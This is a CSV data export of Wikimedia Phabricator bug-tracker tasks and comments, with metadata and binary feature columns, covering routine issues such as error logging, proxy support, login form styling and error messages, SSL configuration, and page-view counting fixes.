+395265,HttpError should not be logged as an unhandled exception.,"Often 404 errors where this is used are of no interest to ops or devs, so I prefer the different log stream, at least for 404.",,,1420473820,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
+395267,HttpError should not be logged as an unhandled exception.,,,,1420473867,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+395197,HttpError should not be logged as an unhandled exception.,,,,1420466644,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+85750,httplib2 on py3 doesn't support proxies,"https://github.com/jcgregorio/httplib2/issues/205
+https://github.com/jcgregorio/httplib2/issues/86
+(and others)",Needs Triage,90.0,1420349184,1437242800.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_description,resolved,True,c3,1,True,True,True,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+493322,httplib2 on py3 doesn't support proxies,Resolved with {T98439}/{T101228}.,,,1437242800,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+493318,httplib2 on py3 doesn't support proxies,"Now that httplib2 isn't used anymore, is this task still valid?",,,1437242418,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-ou5kgmx6sli7pj4z6ptt,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+85241,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Go to the account creation form when already logged in - the label for the checkbox 'Use a temporary random password and send it to the specified email address' has too much line spacing when spanning multiple lines.
+
+{F24985}
+
+Given the size of the checkbox, the correct behaviour would probably be something like
+
+{F24988}
+
+This appears to be due to mw-ui's stying, and occurs regardless of browser.",Needs Triage,90.0,1419364220,1421862989.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-p2kedqcwy5xqyvrq637h,task_description,resolved,True,c3,1,False,False,True,-28,True,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+402096,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Change 181674 merged by Prtksxna:
+mediawiki.ui: checkbox: Correct alignment of long labels
+
+[[https://gerrit.wikimedia.org/r/181674]]",,,1421861753,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2kedqcwy5xqyvrq637h,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+392572,Login form checkbox labels wind up with too much line spacing when spanning multiple lines,"Change 181674 had a related patch set uploaded (by Bartosz Dziewoński):
+[WIP] mediawiki.ui: checkbox: Correct alignment of long labels
+
+[[https://gerrit.wikimedia.org/r/181674]]
+
+#patch-for-review",,,1419367865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p2kedqcwy5xqyvrq637h,task_subcomment,,True,c3,1,False,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+78692,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),"From 	https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Local_Login_no_longer_works_after_upgrade_from_1.18.1_to_1.23.5
+
+Local Login no longer works after upgrade from 1.18.1 to 1.23.5
+
+System upgraded from 1.18.1 to 1.23.5.
+Local login works on identical wiki install from 1.23.5 - no upgrade and restore from backup MW1.18.1.
+
+Use LDAP Auth Extension.
+Localsettings.php has line:
+$wgLDAPUseLocal = true;
+
+Error Message:
+Login error
+Incorrect password entered.
+Please try again.
+
+  Start request POST /mediawiki-xxxx/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page
+  HTTP HEADERS:
+  HOST: alb-wit-wiki.xxxx.x.x.x
+  CONNECTION: keep-alive
+  CONTENT-LENGTH: 114
+  CACHE-CONTROL: max-age=0
+  ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+  ORIGIN: http://alb-wit-wiki.xxxx.x.x.x
+  USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
+  CONTENT-TYPE: application/x-www-form-urlencoded
+  REFERER: http://alb-wit-wiki.xxxx.x.x.x/mediawiki-xxxx/index.php?title=Special:UserLogin&returnto=Main+Page
+  ACCEPT-ENCODING: gzip, deflate
+  ACCEPT-LANGUAGE: en-US,en;q=0.8
+  COOKIE: wikixxxx_session=ei3vnrfjk9alekhk635aihak662snsv6i9ltq4ev0oll69k9kk20
+  [caches] main: APCBagOStuff, message: APCBagOStuff, parser: APCBagOStuff
+  [caches] LocalisationCache: using store LCStoreDB
+  Unstubbing $wgParser on call of $wgParser::setHook from registerEmbedDocumentHandler
+  Parser: using preprocessor: Preprocessor_DOM
+  Fully initialised
+  Connected to database 0 at 127.0.0.1:3306
+  IP: 10.1.x.x
+  MessageCache::load: Loading en... got from global cache
+  Unstubbing $wgLang on call of $wgLang::_unstub from ParserOptions::__construct
+  User: cache miss for user 176
+  User: loading options for user 176 from database.
+
+
+",Needs Triage,90.0,1418754558,1508788269.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-rf3ezdajx7doxl6godml,False,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_description,declined,True,c3,1,False,False,False,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1
+952356,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),Extension was archived.,,,1508798160,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,3,False,,,120,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+703704,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),Wondering if T78108#1126532 might be related and fix this? Anyone knows?,,,1470072189,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,3,True,,,56,True,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0
+343373,Local Login no longer works after upgrade from 1.18.1 to 1.23.5 (disabling SecurePasswords extension helped),"User wrote on mw.org ""When I disabled SecurePasswords extension it worked again.""",,,1418822900,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b3zxjjr3t6sgimqhtd6t,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+77987,Labs proxy + tools proxy should use ssl_ciphersuite,"Currently they maually have a list of chiphers, and need to be manually kept in sync.",Needs Triage,90.0,1418130598,1418311936.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-ehqzwxeks3kjc4msosjw,task_description,resolved,True,c3,1,True,False,True,-30,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+341161,Labs proxy + tools proxy should use ssl_ciphersuite,"https://gerrit.wikimedia.org/r/#/c/178493/  thanks scfc, yea, it's resolved",,,1418320991,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ehqzwxeks3kjc4msosjw,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+341060,Labs proxy + tools proxy should use ssl_ciphersuite,"AFAICS, this should have been resolved by Gerrit change #178493.",,,1418311936,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ehqzwxeks3kjc4msosjw,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+76390,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","The merging of https://gerrit.wikimedia.org/r/#/c/175465/ changed the SSL setup of the caches, and makes
+webstatscollector's C implementation count SSL requests twice.",Needs Triage,90.0,1417469789,1418079037.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-pntojlcbclwhuip53bix,False,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_description,resolved,True,c3,1,True,True,True,-31,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+339597,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.",Backfilling is now complete.,,,1418079037,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+336538,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","ottomata deployed the fixed webstatscollector between 2014-12-04T14:00:00 and 2014-12-04T14:03:00.
+The corresponding refinery change to make implementations match again (although refinery is not affected by the overcounting) got deployed 2014-12-04T21:51.
+Oozie will rerun pagecounts-all-sites from 2014-11-25T00 on. Those files will get filtered to backfill pagecount-raw.",,,1417735482,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,True,,,-30,True,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+336293,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177224 merged by Ottomata:
+Ignore traffic from cache-local SSL terminators
+
+[[https://gerrit.wikimedia.org/r/177224]]",,,1417700161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+336039,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177101 merged by Ottomata:
+Ignore traffic from cache-local SSL terminators
+
+[[https://gerrit.wikimedia.org/r/177101]]",,,1417641253,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+335857,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177224 had a related patch set uploaded (by QChris):
+Ignore traffic from cache-local SSL terminators
+
+[[https://gerrit.wikimedia.org/r/177224]]
+
+#patch-for-review",,,1417618350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+335577,"After switch to local ssl terminators, pagecounts-raw (C implementation of webstatscollector) overcounts HTTPS from some data-centers.","Change 177101 had a related patch set uploaded (by QChris):
+Ignore traffic from cache-local SSL terminators
+
+[[https://gerrit.wikimedia.org/r/177101]]
+
+#patch-for-review",,,1417561332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+114411,Zerobanner extension needlessly pulls in entire oojs ui library,It should only need to do that when you actually navigate to the route....,High,80.0,1443728922,1444421191.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-nn3e5zodp5in4urpocaw,task_description,resolved,True,c3,3,True,True,False,13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+545251,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 244737 merged by jenkins-bot:
+Defer loading of ZeroOverlay until needed
+
+[[https://gerrit.wikimedia.org/r/244737]]",,,1444666116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+544399,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 243014 merged by jenkins-bot:
+Defer loading of ZeroOverlay until needed
+
+[[https://gerrit.wikimedia.org/r/243014]]",,,1444419620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+544394,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 244737 had a related patch set uploaded (by Yurik):
+Defer loading of ZeroOverlay until needed
+
+[[https://gerrit.wikimedia.org/r/244737]]
+",,,1444419486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+544259,Zerobanner extension needlessly pulls in entire oojs ui library,Ping @yurik can you help us merge https://gerrit.wikimedia.org/r/243014 ? thanks!,,,1444408939,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,0,0
+542999,Zerobanner extension needlessly pulls in entire oojs ui library,Fixed up.,,,1444250633,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+540193,Zerobanner extension needlessly pulls in entire oojs ui library,Feedback waiting on the patch.,,,1443817556,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+540183,Zerobanner extension needlessly pulls in entire oojs ui library,"I got the go-ahead from Dan to remove ZeroInfo.js completely, which should allow us to completely remove OOjs-UI as a dependency. I'm reviewing your patch right now (there are some other issues), but feel free to start removing OOjs stuff for the next patch set @jdlrobson",,,1443816509,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+540115,Zerobanner extension needlessly pulls in entire oojs ui library,"It would be great if this change could ride the train Monday. I'm not sure how much of our traffic comes from zero but it would be interesting to see that in our performance graphs if it's significant.
+",,,1443811837,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+540110,Zerobanner extension needlessly pulls in entire oojs ui library,"Per https://phabricator.wikimedia.org/T114416#1698102, I'm going to check and see if we can eliminate the OOjs-UI code altogether from Zero as it's currently not being used.",,,1443811645,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+539298,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 243014 had a related patch set uploaded (by Jdlrobson):
+Defer loading of oojs ui on zero banners until needed
+
+[[https://gerrit.wikimedia.org/r/243014]]
+",,,1443730488,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+97477,Generic login failed message when password is wrong,"The app should respond with a specific error message when the user name or password is wrong while trying to log in.
+We currently try to detect that by checking the API response for ""WrongPass"" but not for ""WrongPluginPass"".
+See https://www.mediawiki.org/wiki/API:Login#Errors.
+According to @bd808 we should treat both error codes as the same.
+",High,80.0,1430257660,1434132708.0,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,PHID-USER-5gog4v3xjj6mq65koqgl,True,PHID-TASK-f4xnx6uzc3brnlmedskh,task_description,resolved,True,c3,1,False,False,True,-10,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0
+459394,Generic login failed message when password is wrong,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
+Since this task is simply about the copy, i'm ok with signing off on it.
+
+I might have to file a separate ticket for error message display concerns.
+
+Signed off by design. ",,,1431717065,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+459393,Generic login failed message when password is wrong,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
+Since this task is simply about the error messaging, i'm ok with signing off on it.
+
+I might have to file a separate ticket for error message display concerns.
+
+Signed off by design. ",,,1431717045,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+452718,Generic login failed message when password is wrong,"|case| username |password|Message|
+|1|correct      |correct| Login success!|
+|2| incorrect| correct|Incorrect username|
+|3| correct|incorrect|Incorrect password|
